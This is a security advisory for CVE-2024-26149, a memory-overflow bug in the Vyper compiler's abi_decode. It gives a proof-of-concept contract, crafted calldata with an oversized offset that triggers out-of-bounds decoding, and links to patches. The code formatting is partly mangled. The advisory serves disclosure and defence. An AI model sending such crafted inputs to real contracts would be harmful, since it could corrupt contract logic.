CVE-2024-26149: Vyper _abi_decode Memory Overflow

Summary

If an excessively large value is specified as the starting index for an array in abidecode, it can cause the read position to overflow. This results in the decoding of values outside the intended array bounds, potentially leading to bugs in contracts that use arrays within abidecode. The advisory has been assigned low severity, because it is only observable if there is a memory write between two invocations of abidecode on the same input.

Proof of Concept

vyper event Pwn: pass

@external def f(x: Bytes[32 3]): a: Bytes[32] = b"foo" y: Bytes[32 3] = x

decodedy1: Bytes[32] = abidecode(y, Bytes[32]) a = b"bar" decodedy2: Bytes[32] = abidecode(y, Bytes[32])

if decodedy1 != decodedy2: log Pwn()

Sending the following calldata results in Pwn being emitted.

0xd45754f8 0000000000000000000000000000000000000000000000000000000000000020 0000000000000000000000000000000000000000000000000000000000000060 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa0

Patches Patched in https://github.com/vyperlang/vyper/pull/3925, https://github.com/vyperlang/vyper/pull/4091, https://github.com/vyperlang/vyper/pull/4144, https://github.com/vyperlang/vyper/pull/4060.